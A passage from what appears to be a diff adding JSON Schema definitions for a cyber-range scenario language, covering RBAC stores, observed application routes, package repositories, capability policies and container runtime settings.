``${var}``\nplaceholder is permitted in those refs.","properties":{"auth_principal_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Auth Principal Ref","type":"string"},"consumer_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Consumer Ref","type":"string"},"description":{"$ref":"#/$defs/_r53"},"direction":{"anyOf":[{"$ref":"#/$defs/RelationshipServiceIntegrationDirection"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[iI][nN][bB][oO][uU][nN][dD]|[oO][uU][tT][bB][oO][uU][nN][dD]|[bB][iI][dD][iI][rR][eE][cC][tT][iI][oO][nN][aA][lL]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"bidirectional","title":"Direction"},"enabled":{"$ref":"#/$defs/_r27"},"engine_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Engine Ref","type":"string"},"integration_kind":{"anyOf":[{"$ref":"#/$defs/RelationshipServiceIntegrationKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][nN][aA][lL][yY][zZ][eE][rR]|[rR][eE][sS][pP][oO][nN][dD][eE][rR]|[wW][eE][bB][hH][oO][oO][kK]|[nN][oO][tT][iI][fF][iI][cC][aA][tT][iI][oO][nN]|[eE][nN][rR][iI][cC][hH][mM][eE][nN][tT]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Integration Kind"}},"title":"RelationshipServiceIntegration","type":"object"}, + "RelationshipServiceIntegrationDirection": {"description":"Closed structural vocabulary for an integration edge's data direction.\n\nClosed structural vocabulary: carries neither ``unknown`` nor ``other``.","enum":["inbound","outbound","bidirectional"],"title":"RelationshipServiceIntegrationDirection","type":"string"}, + "RelationshipServiceIntegrationKind": {"description":"Open taxonomy of how a consumer integrates with a platform engine.\n\nOpen taxonomy: carries both ``unknown`` and ``other``.","enum":["analyzer","responder","webhook","notification","enrichment","unknown","other"],"title":"RelationshipServiceIntegrationKind","type":"string"}, + "RelationshipSharedService": {"additionalProperties":false,"description":"Typed tenant-to-existing-service policy binding.","properties":{"mutable_state_owner":{"$ref":"#/$defs/StateOwner","title":"Mutable State Owner"},"mutable_state_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Mutable State Refs","type":"array"},"reset_generation_owner":{"$ref":"#/$defs/StateOwner","title":"Reset Generation Owner"},"tenant_isolation":{"$ref":"#/$defs/TenantIsolationMode","title":"Tenant Isolation"},"workload_authentication":{"$ref":"#/$defs/WorkloadAuthenticationMode","title":"Workload Authentication"}},"required":["tenant_isolation","workload_authentication","mutable_state_owner","reset_generation_owner"],"title":"RelationshipSharedService","type":"object"}, + "RelationshipType": {"description":"How two scenario elements relate to each other.","enum":["authenticates_with","trusts","federates_with","connects_to","depends_on","manages","replicates_to","domain_controller_for","joins_domain","forest_trusts","directory_federates_to","placed_on_carrier","uses_shared_service","participant"],"title":"RelationshipType","type":"string"}, + "ResourceSensitivity": {"enum":["public","restricted","secret"],"title":"ResourceSensitivity","type":"string"}, + "Resources": {"additionalProperties":false,"description":"Compute resources for a compute node.","properties":{"cpu":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"description":"Number of CPU cores","title":"Cpu"},"ram":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"description":"RAM in bytes (parsed from human-readable)","title":"Ram"}},"required":["ram","cpu"],"title":"Resources","type":"object"}, + "Role": {"additionalProperties":false,"description":"A named role on a compute node with optional entity assignments.\n\nShorthand: ``admin: \"username\"`` (just the username string).\nLonghand: ``admin: {username: \"admin\", entities: [\"blue-team.bob\"]}``.","properties":{"entities":{"items":{"$ref":"#/$defs/_r185"},"title":"Entities","type":"array"},"username":{"$ref":"#/$defs/_r183"}},"required":["username"],"title":"Role","type":"object"}, + "RuntimeAppAuthorization": {"additionalProperties":false,"description":"Application-internal RBAC store inventory for a single owning spine.","properties":{"app_authorization_id":{"$ref":"#/$defs/_r3"},"auth_enabled":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Auth Enabled"},"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r64"},"permission_grants":{"items":{"$ref":"#/$defs/RuntimeAppAuthorizationGrant"},"title":"Permission Grants","type":"array"},"principals":{"items":{"$ref":"#/$defs/RuntimeAppAuthorizationPrincipal"},"title":"Principals","type":"array"},"resource_vocabulary":{"anyOf":[{"$ref":"#/$defs/RuntimeAppAuthorizationResourceVocabulary"},{"$ref":"#/$defs/_r152"}],"default":"unknown","title":"Resource Vocabulary"},"role_mappings":{"items":{"$ref":"#/$defs/RuntimeAppAuthorizationRoleMapping"},"title":"Role Mappings","type":"array"},"roles":{"items":{"$ref":"#/$defs/RuntimeAppAuthorizationRole"},"title":"Roles","type":"array"},"tenants":{"items":{"$ref":"#/$defs/RuntimeAppAuthorizationTenant"},"title":"Tenants","type":"array"}},"required":["app_authorization_id"],"title":"RuntimeAppAuthorization","type":"object"}, + "RuntimeAppAuthorizationCredentialClassification": {"description":"Closed posture vocabulary for a principal credential.\n\nThe raw credential value MUST NOT be recorded; the principal model has no\nfield that can hold one. This vocabulary is the only credential\nrepresentation in the surface. Closed structural vocab: no ``unknown`` /\n``other``.","enum":["none","redacted","operator_secret"],"title":"RuntimeAppAuthorizationCredentialClassification","type":"string"}, + "RuntimeAppAuthorizationGrant": {"additionalProperties":false,"description":"A resource-scoped permission grant (role -> actions -> resource pattern).\n\n``resource_kind`` is the single author-settable source of truth for the\nresource vocabulary; the owning authorization's ``resource_vocabulary`` is\nthe declared set validated against these grants.","properties":{"actions":{"$ref":"#/$defs/_r98"},"description":{"$ref":"#/$defs/_r53"},"effect":{"anyOf":[{"$ref":"#/$defs/RuntimeAppAuthorizationGrantEffect"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][lL][lL][oO][wW]|[dD][eE][nN][yY]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"allow","title":"Effect"},"grant_id":{"$ref":"#/$defs/_r3"},"resource_kind":{"anyOf":[{"$ref":"#/$defs/RuntimeAppAuthorizationResourceVocabulary"},{"$ref":"#/$defs/_r152"}],"default":"unknown","title":"Resource Kind"},"resource_patterns":{"items":{"$ref":"#/$defs/_r185"},"title":"Resource Patterns","type":"array"},"role_ref":{"$ref":"#/$defs/_r69"}},"required":["grant_id"],"title":"RuntimeAppAuthorizationGrant","type":"object"}, + "RuntimeAppAuthorizationGrantEffect": {"description":"Closed allow/deny effect for a permission grant.\n\nClosed structural vocab: no ``unknown`` / ``other``.","enum":["allow","deny"],"title":"RuntimeAppAuthorizationGrantEffect","type":"string"}, + "RuntimeAppAuthorizationPrincipal": {"additionalProperties":false,"description":"A user, service account, API key, or backend role known to the store.\n\nNo raw secret is ever carried: the credential posture is recorded purely\nvia :attr:`credential_classification`.","properties":{"backend_roles":{"$ref":"#/$defs/_r106"},"credential_classification":{"anyOf":[{"$ref":"#/$defs/RuntimeAppAuthorizationCredentialClassification"},{"$ref":"#/$defs/_r157"}],"default":"none","title":"Credential Classification"},"description":{"$ref":"#/$defs/_r53"},"hidden":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Hidden"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeAppAuthorizationPrincipalKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[uU][sS][eE][rR]|[sS][eE][rR][vV][iI][cC][eE][-_][aA][cC][cC][oO][uU][nN][tT]|[aA][pP][iI][-_][kK][eE][yY]|[bB][aA][cC][kK][eE][nN][dD][-_][rR][oO][lL][eE]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Kind"},"name":{"$ref":"#/$defs/_r64"},"principal_id":{"$ref":"#/$defs/_r3"},"reserved":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Reserved"}},"required":["principal_id"],"title":"RuntimeAppAuthorizationPrincipal","type":"object"}, + "RuntimeAppAuthorizationPrincipalKind": {"description":"Open taxonomy of authorization principal kinds.\n\nCarries both ``unknown`` and ``other`` (extensible real-world vocab).","enum":["user","service_account","api_key","backend_role","unknown","other"],"title":"RuntimeAppAuthorizationPrincipalKind","type":"string"}, + "RuntimeAppAuthorizationResourceVocabulary": {"description":"Open spine discriminator for the resource space an RBAC store governs.\n\nTier placement (storage RBAC vs presentation RBAC) is derived from which\nspine references the authorization, not declared here. Open taxonomy:\ncarries both ``unknown`` and ``other``.","enum":["index_pattern","cql_resource","redis_acl","app_resource","unknown","other"],"title":"RuntimeAppAuthorizationResourceVocabulary","type":"string"}, + "RuntimeAppAuthorizationRole": {"additionalProperties":false,"description":"A named role defined within the application authorization store.","properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r64"},"role_id":{"$ref":"#/$defs/_r3"}},"required":["role_id"],"title":"RuntimeAppAuthorizationRole","type":"object"}, + "RuntimeAppAuthorizationRoleMapping": {"additionalProperties":false,"description":"A mapping that binds backend roles, users, or hosts onto a local role.","properties":{"backend_roles":{"$ref":"#/$defs/_r106"},"description":{"$ref":"#/$defs/_r53"},"hosts":{"$ref":"#/$defs/_r121"},"mapping_id":{"$ref":"#/$defs/_r3"},"role_ref":{"$ref":"#/$defs/_r69"},"users":{"items":{"$ref":"#/$defs/_r185"},"title":"Users","type":"array"}},"required":["mapping_id"],"title":"RuntimeAppAuthorizationRoleMapping","type":"object"}, + "RuntimeAppAuthorizationTenant": {"additionalProperties":false,"description":"A tenant/namespace scope within the application authorization store.","properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r64"},"tenant_id":{"$ref":"#/$defs/_r3"}},"required":["tenant_id"],"title":"RuntimeAppAuthorizationTenant","type":"object"}, + "RuntimeApplicationDisclosure": {"additionalProperties":false,"description":"Observable error or information-disclosure behavior of a route.\n\n``disclosure`` is a classified description of what the application exposes\n(a stack trace, an internal path, a backend version), never the raw payload,\ntoken, password, or cookie itself.","properties":{"description":{"$ref":"#/$defs/_r53"},"disclosure":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Disclosure","type":"string"},"sensitivity":{"$ref":"#/$defs/_r19"},"status_code":{"$ref":"#/$defs/_r39"},"trigger":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Trigger","type":"string"}},"title":"RuntimeApplicationDisclosure","type":"object"}, + "RuntimeApplicationExposedField": {"additionalProperties":false,"description":"A route-visible fixture secret or intentionally exposed diagnostic field.\n\nThe sensitivity vocabulary is shared with the rest of the runtime surface.\nA ``redacted`` or ``operator_secret`` field must omit its raw ``value``.\nOther values, including credential-shaped fixture facts, are scenario\ncontent needed for range realization and participant observation.","if":{"properties":{"sensitivity":{"anyOf":[{"pattern":"^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$","type":"string"},{"pattern":"^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$","type":"string"}]}},"required":["sensitivity"]},"properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r174"},"sensitivity":{"$ref":"#/$defs/_r19"},"value":{"$ref":"#/$defs/_r80"}},"required":["name"],"then":{"not":{"properties":{"value":{"minLength":1,"type":"string"}},"required":["value"]}},"title":"RuntimeApplicationExposedField","type":"object"}, + "RuntimeApplicationParameter": {"additionalProperties":false,"description":"A typed request input observed on an application route.\n\n``location`` distinguishes path variables, query string, headers, cookies,\nform fields, JSON body fields, and uploaded-file fields.","properties":{"data_type":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Data Type","type":"string"},"description":{"$ref":"#/$defs/_r53"},"location":{"anyOf":[{"$ref":"#/$defs/RuntimeApplicationParameterLocation"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][aA][tT][hH]|[qQ][uU][eE][rR][yY]|[hH][eE][aA][dD][eE][rR]|[cC][oO][oO][kK][iI][eE]|[fF][oO][rR][mM]|[jJ][sS][oO][nN][-_][bB][oO][dD][yY]|[uU][pP][lL][oO][aA][dD][eE][dD][-_][fF][iI][lL][eE]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Location"},"name":{"$ref":"#/$defs/_r174"},"required":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Required"}},"required":["name"],"title":"RuntimeApplicationParameter","type":"object"}, + "RuntimeApplicationParameterLocation": {"description":"Where a request input is carried on an observed route.","enum":["path","query","header","cookie","form","json_body","uploaded_file","other","unknown"],"title":"RuntimeApplicationParameterLocation","type":"string"}, + "RuntimeApplicationProtocol": {"description":"Application-layer protocol class for an observed application surface.","enum":["http","https","ws","wss","other","unknown"],"title":"RuntimeApplicationProtocol","type":"string"}, + "RuntimeApplicationRedirect": {"additionalProperties":false,"description":"An observed redirect a route can issue.\n\nTarget path/URL, status code, and the triggering condition are kept\ndistinct; the target is recorded verbatim, never resolved.","properties":{"condition":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Condition","type":"string"},"description":{"$ref":"#/$defs/_r53"},"status_code":{"$ref":"#/$defs/_r39"},"target":{"$ref":"#/$defs/_r182"}},"required":["target"],"title":"RuntimeApplicationRedirect","type":"object"}, + "RuntimeApplicationResponse": {"additionalProperties":false,"description":"An observed response a route can produce.","properties":{"content_type":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Content Type","type":"string"},"description":{"$ref":"#/$defs/_r53"},"status_code":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"title":"Status Code"}},"required":["status_code"],"title":"RuntimeApplicationResponse","type":"object"}, + "RuntimeApplicationRoute": {"additionalProperties":false,"description":"An observed application route \u2014 a participant-visible endpoint.\n\n``route_id`` is the stable identity; ``path`` is data and may carry path\nvariables, may be shared across HTTP methods, and is never a mapping key.","properties":{"auth_required":{"$ref":"#/$defs/_r26"},"auth_scheme":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Auth Scheme","type":"string"},"description":{"$ref":"#/$defs/_r53"},"disclosures":{"items":{"$ref":"#/$defs/RuntimeApplicationDisclosure"},"title":"Disclosures","type":"array"},"exposed_fields":{"items":{"$ref":"#/$defs/RuntimeApplicationExposedField"},"title":"Exposed Fields","type":"array"},"methods":{"items":{"maxLength":128,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[!#$%&'*+\\-.^_`|~0-9A-Za-z]{1,128}$(?![\\s\\S])","type":"string"},"minItems":1,"title":"Methods","type":"array","uniqueItems":true},"name":{"$ref":"#/$defs/_r64"},"parameters":{"items":{"$ref":"#/$defs/RuntimeApplicationParameter"},"title":"Parameters","type":"array"},"path":{"$ref":"#/$defs/_r176"},"redirects":{"items":{"$ref":"#/$defs/RuntimeApplicationRedirect"},"title":"Redirects","type":"array"},"responses":{"items":{"$ref":"#/$defs/RuntimeApplicationResponse"},"title":"Responses","type":"array"},"route_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Route Id","type":"string"},"session_required":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Session Required"},"static_assets":{"items":{"$ref":"#/$defs/_r185"},"title":"Static Assets","type":"array"},"templates":{"items":{"$ref":"#/$defs/_r185"},"title":"Templates","type":"array"},"upstream_target":{"anyOf":[{"$ref":"#/$defs/RuntimeApplicationRouteUpstreamTarget"},{"type":"null"}],"default":null}},"required":["route_id","path"],"title":"RuntimeApplicationRoute","type":"object"}, + "RuntimeApplicationRouteUpstreamScheme": {"description":"Wire scheme a reverse proxy uses to reach a route's upstream origin.\n\nThis is a CLOSED taxonomy: an upstream is reached over either cleartext\nHTTP or TLS-wrapped HTTPS. Unlike the open ``RuntimeApplicationProtocol``,\nit carries neither ``other`` nor ``unknown`` \u2014 a proxy-to-origin hop that is\nneither HTTP nor HTTPS is not an application route upstream.","enum":["http","https"],"title":"RuntimeApplicationRouteUpstreamScheme","type":"string"}, + "RuntimeApplicationRouteUpstreamTarget": {"additionalProperties":false,"description":"The origin a reverse-proxied route forwards to.\n\nA proxy/gateway route does not itself serve content; it relays to an\nupstream origin on this or another node. ``target_node_ref`` /\n``target_service`` name that origin (the service-name forms mirror\n``RuntimeApplicationSurface.service``), ``scheme`` is the CLOSED\nproxy-to-origin wire scheme, and ``tls_terminated_here`` records whether\nTLS is terminated at the proxy (re-encrypted or plaintext to the origin).\nAll fields are observation metadata; nothing is resolved.","properties":{"scheme":{"anyOf":[{"$ref":"#/$defs/RuntimeApplicationRouteUpstreamScheme"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[hH][tT][tT][pP]|[hH][tT][tT][pP][sS]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"http","title":"Scheme"},"target_node_ref":{"$ref":"#/$defs/_r75"},"target_service":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Target Service","type":"string"},"tls_terminated_here":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Tls Terminated Here"}},"title":"RuntimeApplicationRouteUpstreamTarget","type":"object"}, + "RuntimeApplicationSurface": {"additionalProperties":false,"description":"An observed application surface hosted by a transport service on a node.\n\n``service`` references the owning same-node ``Node.services[].name`` (bare\nname or the qualified ``nodes..services.`` form). The surface is\nobservation metadata; it never mutates ``Node.services``.","properties":{"application_id":{"$ref":"#/$defs/_r3"},"base_path":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Base Path","type":"string"},"description":{"$ref":"#/$defs/_r53"},"framework":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Framework","type":"string"},"name":{"$ref":"#/$defs/_r64"},"protocol":{"anyOf":[{"$ref":"#/$defs/RuntimeApplicationProtocol"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[hH][tT][tT][pP]|[hH][tT][tT][pP][sS]|[wW][sS]|[wW][sS][sS]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"http","title":"Protocol"},"routes":{"items":{"$ref":"#/$defs/RuntimeApplicationRoute"},"title":"Routes","type":"array"},"service":{"$ref":"#/$defs/_r70"}},"required":["application_id"],"title":"RuntimeApplicationSurface","type":"object"}, + "RuntimeAptPackageRepository": {"additionalProperties":false,"description":"Version 1 portable binary APT repository and dedicated trust binding.","properties":{"components":{"items":{"maxLength":128,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[A-Za-z0-9][A-Za-z0-9.+_~-]{0,127}$","type":"string"},"maxItems":32,"minItems":1,"title":"Components","type":"array","uniqueItems":true},"profile_version":{"const":"1","title":"Profile Version","type":"string"},"repository_profile":{"const":"apt","title":"Repository Profile","type":"string"},"signing_key":{"$ref":"#/$defs/RuntimePackageRepositorySigningKey"},"suite":{"maxLength":128,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[A-Za-z0-9][A-Za-z0-9.+_~:-]{0,127}$","title":"Suite","type":"string"},"uri":{"allOf":[{"$ref":"#/$defs/_r186"}],"description":"Credential-free HTTPS base URI of the binary APT repository.","maxLength":2048,"minLength":1,"not":{"anyOf":[{"pattern":"^https://[^/?#]*@"},{"pattern":"[?&](?:access_token|api_key|apikey|auth|credential|key|password|secret|sig|signature|token)(?:=|&|$)"}]},"pattern":"^https://[^\\s#]+$","title":"Uri","type":"string"}},"required":["repository_profile","profile_version","uri","suite","components","signing_key"],"title":"RuntimeAptPackageRepository","type":"object"}, + "RuntimeCapabilityOverrideScope": {"description":"Scope of a ``RuntimeProcessCapabilityOverride``.\n\n``PROCESS`` records a capability delta that applies only to the subject\nprocess itself; ``SUBTREE`` records a delta that applies to the subject\nprocess and every descendant it spawns (the motivating case is\n``capsh --drop=cap_audit_control`` exec'ing ``sshd``, after which the\ninteractive shell subtree runs without ``CAP_AUDIT_CONTROL``).","enum":["process","subtree"],"title":"RuntimeCapabilityOverrideScope","type":"string"}, + "RuntimeCapabilityPolicy": {"additionalProperties":false,"description":"Linux/container capability policy observed for a runtime node.","properties":{"add":{"$ref":"#/$defs/_r99"},"description":{"$ref":"#/$defs/_r53"},"drop":{"$ref":"#/$defs/_r113"},"effective":{"$ref":"#/$defs/_r114"},"process_overrides":{"items":{"$ref":"#/$defs/RuntimeProcessCapabilityOverride"},"title":"Process Overrides","type":"array"},"required":{"items":{"$ref":"#/$defs/_r185"},"title":"Required","type":"array"}},"title":"RuntimeCapabilityPolicy","type":"object"}, + "RuntimeConfiguration": {"additionalProperties":false,"description":"Declarative runtime state required by a compute node.\n\nCaptured observations remain in evidence records unless an author\ndeliberately promotes the fact to one of these contract fields.","properties":{"app_authorizations":{"items":{"$ref":"#/$defs/RuntimeAppAuthorization"},"title":"App Authorizations","type":"array"},"applications":{"items":{"$ref":"#/$defs/RuntimeApplicationSurface"},"title":"Applications","type":"array"},"container":{"anyOf":[{"$ref":"#/$defs/RuntimeContainerConfiguration"},{"type":"null"}],"default":null},"database_services":{"items":{"$ref":"#/$defs/RuntimeDatabaseService"},"title":"Database Services","type":"array"},"datastore_services":{"items":{"$ref":"#/$defs/RuntimeDatastoreService"},"title":"Datastore Services","type":"array"},"dependency_manifests":{"items":{"$ref":"#/$defs/RuntimeDependencyManifest"},"title":"Dependency Manifests","type":"array"},"dns_services":{"items":{"$ref":"#/$defs/RuntimeDnsService"},"title":"Dns Services","type":"array"},"environment":{"items":{"$ref":"#/$defs/RuntimeEnvironmentVariable"},"title":"Environment","type":"array"},"environment_files":{"items":{"$ref":"#/$defs/RuntimeEnvironmentFile"},"title":"Environment Files","type":"array"},"file_services":{"items":{"$ref":"#/$defs/RuntimeFileService"},"title":"File Services","type":"array"},"filesystem_inventory":{"items":{"$ref":"#/$defs/RuntimeFilesystemEntry"},"title":"Filesystem Inventory","type":"array"},"forwarding_agents":{"items":{"allOf":[{"$ref":"#/$defs/RuntimeForwardingAgent"},{"properties":{"forwarding_agent_id":{"$ref":"#/$defs/_r3"}},"type":"object"}]},"title":"Forwarding Agents","type":"array"},"identity_authorities":{"items":{"$ref":"#/$defs/RuntimeIdentityAuthority"},"title":"Identity Authorities","type":"array"},"linux_capabilities":{"anyOf":[{"$ref":"#/$defs/RuntimeCapabilityPolicy"},{"type":"null"}],"default":null},"local_control_interfaces":{"items":{"$ref":"#/$defs/RuntimeControlInterface"},"title":"Local Control Interfaces","type":"array"},"local_identity":{"anyOf":[{"$ref":"#/$defs/RuntimeLocalIdentityInventory"},{"type":"null"}],"default":null},"mail_services":{"items":{"$ref":"#/$defs/RuntimeMailService"},"title":"Mail Services","type":"array"},"mounts":{"items":{"$ref":"#/$defs/RuntimeMount"},"title":"Mounts","type":"array"},"network":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkRealization"},{"type":"null"}],"default":null},"network_detection_engines":{"items":{"$ref":"#/$defs/RuntimeNetworkDetectionEngine"},"title":"Network Detection Engines","type":"array"},"network_sensors":{"items":{"$ref":"#/$defs/RuntimeNetworkSensor"},"title":"Network Sensors","type":"array"},"operational_policy":{"anyOf":[{"$ref":"#/$defs/RuntimeOperationalPolicy"},{"type":"null"}],"default":null},"orchestration_authorities":{"items":{"$ref":"#/$defs/RuntimeOrchestrationAuthority"},"title":"Orchestration Authorities","type":"array"},"packages":{"items":{"$ref":"#/$defs/RuntimePackage"},"title":"Packages","type":"array"},"platform_applications":{"items":{"$ref":"#/$defs/RuntimePlatformApplication"},"title":"Platform Applications","type":"array"},"processes":{"items":{"$ref":"#/$defs/RuntimeProcessIdentity"},"title":"Processes","type":"array"},"repository_state":{"anyOf":[{"$ref":"#/$defs/RuntimeSoftwareRepositoryState"},{"type":"null"}],"default":null},"scheduled_jobs":{"items":{"$ref":"#/$defs/RuntimeScheduledJob"},"title":"Scheduled Jobs","type":"array"},"security_monitoring_managers":{"items":{"$ref":"#/$defs/RuntimeSecurityMonitoringManager"},"title":"Security Monitoring Managers","type":"array"},"service_listeners":{"items":{"$ref":"#/$defs/RuntimeServiceListener"},"title":"Service Listeners","type":"array"},"service_manager_units":{"items":{"$ref":"#/$defs/ServiceManagerUnit"},"title":"Service Manager Units","type":"array"},"software_components":{"items":{"$ref":"#/$defs/RuntimeSoftwareComponent"},"title":"Software Components","type":"array"},"ssh_servers":{"items":{"$ref":"#/$defs/RuntimeSshServer"},"title":"Ssh Servers","type":"array"}},"title":"RuntimeConfiguration","type":"object"}, + "RuntimeContainerConfiguration": {"additionalProperties":false,"description":"Required container runtime host and security configuration facts.","properties":{"autoremove":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Autoremove"},"cgroup_parent":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Cgroup Parent","type":"string"},"command":{"$ref":"#/$defs/_r107"},"description":{"$ref":"#/$defs/_r53"},"device_cgroup_rules":{"items":{"$ref":"#/$defs/_r185"},"title":"Device Cgroup Rules","type":"array"},"devices":{"items":{"$ref":"#/$defs/RuntimeDeviceMapping"},"title":"Devices","type":"array"},"dns":{"items":{"$ref":"#/$defs/_r185"},"title":"Dns","type":"array"},"dns_options":{"items":{"$ref":"#/$defs/_r185"},"title":"Dns Options","type":"array"},"dns_search":{"items":{"$ref":"#/$defs/_r185"},"title":"Dns 